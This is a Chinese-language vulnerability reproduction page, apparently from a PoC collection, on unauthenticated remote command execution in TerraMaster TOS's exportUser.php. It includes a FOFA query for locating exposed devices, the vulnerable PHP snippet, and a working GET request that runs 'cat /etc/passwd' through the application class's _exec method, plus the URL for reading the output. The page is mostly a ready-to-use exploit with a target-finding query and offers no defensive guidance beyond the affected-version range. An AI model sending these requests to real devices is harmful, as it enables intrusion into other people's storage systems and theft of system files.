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67 lines
1.7 KiB
Markdown
67 lines
1.7 KiB
Markdown
# TerraMaster TOS exportUser.php 远程命令执行
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## 漏洞描述
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TerraMaster TOS exportUser.php 文件中存在远程命令执行漏洞
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## 漏洞影响
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```
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TerraMaster TOS < 4.1.24
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```
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## FOFA
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```
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"TerraMaster" && header="TOS"
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```
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## 漏洞复现
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出现漏洞的文件 ***exportUser.php***
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```php
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<?php
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include_once "./app.php"; // [1] autoload classes
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class CSV_Writer{
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...
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}
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$type = $_GET['type'];
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$csv = new CSV_Writer();
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if($type == 1){
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$P = new person();
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$data = $P->export_user($_GET['data']);
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$csv->exportUser($data);
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} else if($type == 2) {
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$P = new person();
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$data = $P->export_userGroup($_GET['data']);
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$csv->exportUsergroup($data);
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} else { // [2] type value is bigger than 2
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//xlsx通用下载
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$type = 0;
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$class = $_GET['cla'];
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$fun = $_GET['func'];
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$opt = $_GET['opt'];
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$E = new $class();
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$data = $E->$fun($opt); // [3] vulnerable code call
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$csv->exportExcel( $data['title'], $data['data'], $data['name'], $data['save'], $data['down']);
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}
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?>
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```
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在其他文件的代码检查期间，也发现有一种方法可以利用TOS软件中预先存在的类来利用此问题。
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位于**include/class/application.class.php**中的PHP类是在运行TOS软件的设备上执行命令的最佳人选。
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由于*exportUser.php*没有身份验证控件，因此未经身份验证的攻击者有可能通过提供以下值作为HTTP GET参数来实现代码执行。
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```plain
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http://xxx.xxx.xxx.xxx/include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)>test.txt
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```
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返回200后再次访问
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```plain
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http://xxx.xxx.xxx.xxx/include/test.txt
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```
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